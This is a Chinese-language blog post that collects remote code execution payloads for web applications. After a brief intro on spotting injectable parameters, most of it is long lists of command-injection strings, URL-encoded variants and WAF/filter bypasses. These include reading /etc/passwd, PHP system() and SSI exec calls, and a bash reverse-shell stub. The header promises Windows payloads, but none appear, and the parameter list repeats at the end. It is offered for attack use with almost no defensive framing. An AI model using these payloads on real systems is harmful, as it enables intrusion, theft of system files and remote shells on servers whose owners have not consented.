RCE漏洞常用的Payload總結

梧先生、發表於2024-08-21

關於遠端程式碼執行 常用的payload(linux和windows)

RCE:遠端程式碼執行 (RCE) 使攻擊者能夠透過注入攻擊執行惡意程式碼。程式碼注入攻擊不同於命令注入攻擊。攻擊者的能力取決於伺服器直譯器的限制。在某些情況下,攻擊者可能能夠從程式碼注入升級為命令注入。遠端程式碼評估可能導致易受攻擊的 Web 應用程式和 Web 伺服器的全面妥協. 需要注意的是,幾乎每種程式語言都有程式碼評估功能。

如何尋找 RCE:

一、介面:

如:https://xxx.xxxx.xxx/stockStatus?storeID=xxx

  https://xxx.xxx.xxx/stockStatus?name=xxx

等,storeid、name、即為介面

二、email

如:email=xxx@qq.com

三、檔案上傳 filename等地方

判斷方法:

一、測試是否存在注入: https://'sleep 5.'xxx.xxxx.xxx/stockStatus?storeID=xxx (網頁出現延遲5s,說明存在rce注入)

       https://'whoami'.xxx.xxxx.xxx/stockStatus?storeID=xxx

       https://xxx.xxxx.xxx/stockStatus?storeID=xxx/||whoami

Top 46 RCE 引數 :

exec={payload}
command={payload}
execute{payload}
ping={payload}
include={payload}
exclude={payload}
jump={payload}
code={payload}
reg={payload}
do={payload}
func={payload}
arg={payload}
option={payload}
load={payload}
process={payload}
step={payload}
read={payload}
function={payload}
req={payload}
feature={payload}
exe={payload}
module={payload}
payload={payload}
run={payload}
print={payload}
email={payload}
id={payload}
username={payload}
user={payload}
to={payload}
from={payload}
search={payload}
query={payload}
q={payload}
s={payload}
shopId={payload}
blogId={payload}
phone={payload}
mode={payload}
next={payload}
firstname={payload}
lastname={payload}
locale={payload}
cmd={payload}
sys={payload}
system={payload}


Linux RCE

Payload list:

id
,id
;id
;id;
'id'
"id"
''id
''id''
''id''&
*id
*id*
**id**
(id)
`id`
`id`&
`id` &
;id|
;|id|
|id
|id|
||id
||id|
||id;
|id;
&id
&id&
&&id
&&id&&
^id
<id
\id
);id
<id;
);id;
);id|
)|id
)|id;
\id;
\id|
\id\
(id
)id 
/id 
-id
:id
.id
" id
' id
| id
& id
, id
; id
& id &
&& id
|| id
' `id`
" `id`
, `id`
| `id`
& `id`
; `id`
' `id` #
" `id` #
, `id` #
| `id` #
; `id` #
;id/n
<id\n
\nid
\nid\n
a;id
a);id
a;id;
a);id|



轉義所有危險字元時的RCE:
%7Cid
%7cid;pwd;uname -a
%26 id %26
%0aid%0a
%0a uname -a %0a
%27%0Awhoami%0A%27
%22%0Awhoami%0A%22
%5C%0Awhoami
%27%27%0Awhoami%0A%27%27
%2A%0Awhoami%0A
%2A%0Awhoami%0A%2A
%28%0Awhoami%0A%29
%60%0Aid%0A%60
%3B%0Awhoami%0A%3B
%2C%0Awhoami%0A%2C
%7C%0Awhoami
%7C%0Awhoami%0A%7C
%0a whoami %0a
%0Acat%20/etc/passwd
%7C%7Cid%0A
%2C%20id
%5Eid
%3Cid
%5Cid
%27%27id
%27%27id%27%27
%27%27id%27%27%26
%2Aid
%2Aid%2A
%2A%2Aid%2A%2A
%28id%29
%60id%60%26
%60id%60%20%26
%29%3Bid
%3Cid%3B
%29%3Bid%3B
%29%3Bid%7C
%29%7Cid
%29%7Cid%3B
%5Cid%3B
%5Cid%7C
%5Cid%5C
%22%20id
%27%20id
%7C%20id
%26%20id
%3B%20id
<id%0D
<id%0A
%0Did
%0Did%0D
%0Aid
%0Aid%0A
%2Cid
%3Bid
%3Bid%3B
%28id
%29id%20
%2Fid%20
%3Aid
%26%26%20id
%7C%7C%20id
%27id%27
%22id%22
%60id%60
%3Bid%7C
%3B%7Cid%7C
%7Cid%7C
%7C%7Cid
%7C%7Cid%7C
%7C%7Cid%3B
%7Cid%3B
%26id
%26id%26
%26%26id
%26%26id%26%26
%3Bid%2Fn
%3Cid%5Cn
%5Cnid
%5Cnid%5Cn
a%3Bid
a%29%3Bid
a%3Bid%3B
a%29%3Bid%7C
%22%2C%0Asystem%28%27ls%27%29%0A%3B%22
%27%0Aid%0A%27
%5C%0Awhoami%0A%5C
%26%0Awhoami%0A%26
%26%20id%20%26
%27%20%60id%60
%22%20%60id%60
%2C%20%60id%60
%7C%20%60id%60
%26%20%60id%60
%3B%20%60id%60
%27%20%60id%60%20%23
%22%20%60id%60%20%23
%2C%20%60id%60%20%23
%7C%20%60id%60%20%23
%3B%20%60id%60%20%23
%3Buname%20-a%3B
%26%26dir
%26%20uname%20-a%20%26id%7C%7Cwhoami%3B
id%7Cwhoami%3B
id%26%26whoami%3B
id%26whoami%3B
127.0.0.1%3Bls
127.0.0.1%3Bi%22d
%3Bunam%22e%24%7BIFS%7D-a
%3Bl%22s%24%7BIFS%7D-la
%27i%27d
%22i%22d
%5Cu%5Cn%5Ca%5Cm%5Ce%20%5C-%5Ca
cat%24u%20%2Fetc%24u%2Fpasswd%24u
w%24%7Bu%7Dh%24%7Bu%7Do%24%7Bu%7Da%24%7Bu%7Dm%24%7Bu%7Di
i%24%28u%29d
i%60u%60d
%7Buname%2C-a%7D
cat%24%7BIFS%7D%2Fetc%2Fpasswd
cat%24IFS%2Fetc%2Fpasswd
%0aid%0a
%0Aid
%0Aid%0A
%0a whoami %0a
cat%24u%2B%2Fetc%24u%2Fpasswd%24u
%22%3Bcat%2B%2Fetc%2Fpasswd%2B%23
%3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%24u
%3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%2B%5C%23
%2F%3F%3F%3F%2F%3F%3Ft%2B%2F%3F%3F%3F%2F%3F%3Fss%3F%3F
%2F%3Fin%2Fcat%2B%2Fet%3F%2Fpassw%3F
%3B%2Bcat%2B%2Fe%27tc%2Fpass%27wd
c%5C%5Ca%5C%5Ct%2B%2Fet%5C%5Cc%2Fpas%5C%5Cswd
cat%20%2Fetc%24u%2Fpasswd
%28sy.%28st%29.em%29%28whoami%29%3B
%3Bcat%2B%2Fetc%2Fpasswd
%3Bcat%2B%2Fetc%2Fpasswd%2B%23
%3Bcat%24u%2B%2Fetc%24u%2Fpasswd%24u
%3Bcat%2520%2Fetc%2Fpasswd
%3Bcat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
%3Bcat%24u%20%2Fetc%24u%2Fpasswd%24u
%3B%7Bcat%2C%2Fetc%2Fpasswd%7D
%3Bcat%3C%2Fetc%2Fpasswd
%3Bcat%24IFS%2Fetc%2Fpasswd
%3Becho%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
%3B%2Fusr%2Fbin%2Fid%3B
%7Ccat%2520%2Fetc%2Fpasswd
%7Ccat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
%7Ccat%24u%20%2Fetc%24u%2Fpasswd%24u
%7C%7Bcat%2C%2Fetc%2Fpasswd%7D
%7Ccat%3C%2Fetc%2Fpasswd
%7Ccat%24IFS%2Fetc%2Fpasswd
%7Cecho%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
%7C%2Fusr%2Fbin%2Fid%7C
%7C%7Ccat%2520%2Fetc%2Fpasswd
%7C%7Ccat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
%7C%7Ccat%24u%20%2Fetc%24u%2Fpasswd%24u
%7C%7C%7Bcat%2C%2Fetc%2Fpasswd%7D
%7C%7Ccat%3C%2Fetc%2Fpasswd
%7C%7Ccat%24IFS%2Fetc%2Fpasswd
%7C%7Cecho%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
%7C%7C%2Fusr%2Fbin%2Fid%7C%7C
%26%26cat%2520%2Fetc%2Fpasswd
%26%26cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
%26%26cat%24u%20%2Fetc%24u%2Fpasswd%24u
%26%26%7Bcat%2C%2Fetc%2Fpasswd%7D
%26%26cat%3C%2Fetc%2Fpasswd
%26%26cat%24IFS%2Fetc%2Fpasswd
%26%26echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
%26%26%2Fusr%2Fbin%2Fid%26%26
%26cat%2520%2Fetc%2Fpasswd
%26cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd
%26cat%24u%20%2Fetc%24u%2Fpasswd%24u
%26%7Bcat%2C%2Fetc%2Fpasswd%7D
%26cat%3C%2Fetc%2Fpasswd
%26cat%24IFS%2Fetc%2Fpasswd
%26echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd
%26%2Fusr%2Fbin%2Fid%26
%60cat%2520%2Fetc%2Fpasswd%60
%60cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd%60
%60cat%24u%20%2Fetc%24u%2Fpasswd%24u%60
%60%7Bcat%2C%2Fetc%2Fpasswd%7D%60
%60cat%3C%2Fetc%2Fpasswd%60
%60cat%24IFS%2Fetc%2Fpasswd%60
%60echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd%60
%60%2Fusr%2Fbin%2Fid%60
%24%28cat%2520%2Fetc%2Fpasswd%29
%24%28cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd%29
%24%28cat%24u%20%2Fetc%24u%2Fpasswd%24u%29
%24%28%7Bcat%2C%2Fetc%2Fpasswd%7D%29
%24%28cat%3C%2Fetc%2Fpasswd%29
%24%28cat%24IFS%2Fetc%2Fpasswd%29
%24%28echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd%29
%24%28%2Fusr%2Fbin%2Fid%29
cat%20%2Fetc%24u%2Fpasswd
%28sy.%28st%29.em%29%28whoami%29%3B
%3Bcat%2B%2Fetc%2Fpasswd
%3Bcat%2B%2Fetc%2Fpasswd%2B%23
%3Bcat%24u%2B%2Fetc%24u%2Fpasswd%24u
%253B%2524%257B%2540print%2528md5%2528%2522whoami0%2522%2529%2529%257D%253B
%24%7B%40system%28%22id%22%29%7D
%7Cuname%20-a%2B%7C%7Ca%2B%23%27%2B%7Cls%2B-la%7Ca%2B%23%7C%22%2B%7Cls%2B-la%7C%7Ca%2B%23
%22%2Csystem%28%27ls%27%29%3B%22
%24%7B%40phpinfo%28%29%7D
%3Bphpinfo%28%29%3B
%3Bphpinfo
%3Bsystem%28%27cat%2520%2Fetc%2Fpasswd%27%29
%3Bsystem%28%27id%27%29
%24%28id%29
%3B%24%7B%40print%28md5%28whoami%29%29%7D
%3B%24%7B%40print%28md5%28%22whoami%22%29%29%7D
%24%3Bid
%24%28%60cat%20%2Fetc%2Fpasswd%60%29
%7B%7B%20get_user_file%28%22%2Fetc%2Fpasswd%22%29%20%7D%7D
%3C%21--%23exec%20cmd%3D%22id%3B--%3E
system%28%27cat%20%2Fetc%2Fpasswd%27%29%3B
%3C%3Fphp%20system%28%22cat%20%2Fetc%2Fpasswd%22%29%3B%3F%3E
php%20-r%20%27var_dump%28exec%28%22id%22%29%29%3B%27
%26lt%3B%21--%23exec%2520cmd%3D%26quot%3Bid%3B--%26gt%3B
cat%24u%2B%2Fetc%24u%2Fpasswd%24u
%2Fbin%24u%2Fbash%24u%20%3Cip%3E%20%3Cport%3E
%22%3Bcat%2B%2Fetc%2Fpasswd%2B%23
%3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%24u
%3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%2B%5C%23
%2F%3F%3F%3F%2F%3F%3Ft%2B%2F%3F%3F%3F%2F%3F%3Fss%3F%3F
%2F%3Fin%2Fcat%2B%2Fet%3F%2Fpassw%3F
%3B%2Bcat%2B%2Fe%27tc%2Fpass%27wd
c%5C%5Ca%5C%5Ct%2B%2Fet%5C%5Cc%2Fpas%5C%5Cswd


RCE 過濾 and WAF Bypass:
'
whoami
'"
whoami
"`
whoami
`;
whoami
;,
whoami
,|
whoami|
whoami
|\
whoami''
whoami
''*
whoami*
whoami
*(
whoami
)\
whoami
\&
whoami
&",
system('ls')
;"|uname -a+||a+#'+|ls+-la|a+#|"+|ls+-la||a+#  Rce waf bypass
",system('ls');" double quote Rce filter bypass
${@system("id")} eval code bypass
${@phpinfo()}
;phpinfo();
;phpinfo
;system('cat%20/etc/passwd')
;system('id')
$(id)
;${@print(md5(whoami))}
;${@print(md5("whoami"))}
$;id
$(`cat /etc/passwd`)
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>
php -r 'var_dump(exec("id"));'
&lt;!--#exec%20cmd=&quot;id;--&gt;/bin$u/bash$u <ip> <port>
cat$u+/etc$u/passwd$u
";cat+/etc/passwd+#
;+$u+cat+/etc$u/passwd$u
;+$u+cat+/etc$u/passwd+\#
/???/??t+/???/??ss??
/?in/cat+/et?/passw?
;+cat+/e'tc/pass'wd
c\\a\\t+/et\\c/pas\\swd
cat /etc$u/passwd
(sy.(st).em)(whoami);
;cat+/etc/passwd
;cat+/etc/passwd+#
;cat$u+/etc$u/passwd$u
;cat%20/etc/passwd
;cat /e${hahaha}tc/${heywaf}pas${catchthis}swd
;cat$u /etc$u/passwd$u
;{cat,/etc/passwd}
;cat</etc/passwd
;cat$IFS/etc/passwd
;echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
;/usr/bin/id;
|cat%20/etc/passwd
|cat /e${hahaha}tc/${heywaf}pas${catchthis}swd
|cat$u /etc$u/passwd$u
|{cat,/etc/passwd}
|cat</etc/passwd
|cat$IFS/etc/passwd
|echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
|/usr/bin/id|
||cat%20/etc/passwd
||cat /e${hahaha}tc/${heywaf}pas${catchthis}swd
||cat$u /etc$u/passwd$u
||{cat,/etc/passwd}
||cat</etc/passwd
||cat$IFS/etc/passwd
||echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
||/usr/bin/id||
&&cat%20/etc/passwd
&&cat /e${hahaha}tc/${heywaf}pas${catchthis}swd
&&cat$u /etc$u/passwd$u
&&{cat,/etc/passwd}
&&cat</etc/passwd
&&cat$IFS/etc/passwd
&&echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
&&/usr/bin/id&&
&cat%20/etc/passwd
&cat /e${hahaha}tc/${heywaf}pas${catchthis}swd
&cat$u /etc$u/passwd$u
&{cat,/etc/passwd}
&cat</etc/passwd
&cat$IFS/etc/passwd
&echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
&/usr/bin/id&
`cat%20/etc/passwd`
`cat /e${hahaha}tc/${heywaf}pas${catchthis}swd`
`cat$u /etc$u/passwd$u`
`{cat,/etc/passwd}`
`cat</etc/passwd`
`cat$IFS/etc/passwd`
`echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd`
`/usr/bin/id`
$(cat%20/etc/passwd)
$(cat /e${hahaha}tc/${heywaf}pas${catchthis}swd)
$(cat$u /etc$u/passwd$u)
$({cat,/etc/passwd})
$(cat</etc/passwd)
$(cat$IFS/etc/passwd)
$(echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd)
$(/usr/bin/id)id||whoami;
id|whoami;
id&&whoami;
id&whoami;127.0.0.1;ls
127.0.0.1;i"d
;unam"e${IFS}-a
;l"s${IFS}-la'i'd
"i"d
\u\n\a\m\e \-\a
cat$u /etc$u/passwd$u
w${u}h${u}o${u}a${u}m${u}i
i$(u)d
i`u`d{uname,-a}
cat${IFS}/etc/passwd
cat$IFS/etc/passwd




 

exec={payload} command={payload} execute{payload} ping={payload} include={payload} exclude={payload} jump={payload} code={payload} reg={payload} do={payload} func={payload} arg={payload} option={payload} load={payload} process={payload} step={payload} read={payload} function={payload} req={payload} feature={payload} exe={payload} module={payload} payload={payload} run={payload} print={payload} email={payload} id={payload} username={payload} user={payload} to={payload} from={payload} search={payload} query={payload} q={payload} s={payload} shopId={payload} blogId={payload} phone={payload} mode={payload} next={payload} firstname={payload} lastname={payload} locale={payload} cmd={payload} sys={payload} system={payload}

exec={payload} command={payload} execute{payload} ping={payload} include={payload} exclude={payload} jump={payload} code={payload} reg={payload} do={payload} func={payload} arg={payload} option={payload} load={payload} process={payload} step={payload} read={payload} function={payload} req={payload} feature={payload} exe={payload} module={payload} payload={payload} run={payload} print={payload} email={payload} id={payload} username={payload} user={payload} to={payload} from={payload} search={payload} query={payload} q={payload} s={payload} shopId={payload} blogId={payload} phone={payload} mode={payload} next={payload} firstname={payload} lastname={payload} locale={payload} cmd={payload} sys={payload} system={payload}

相關文章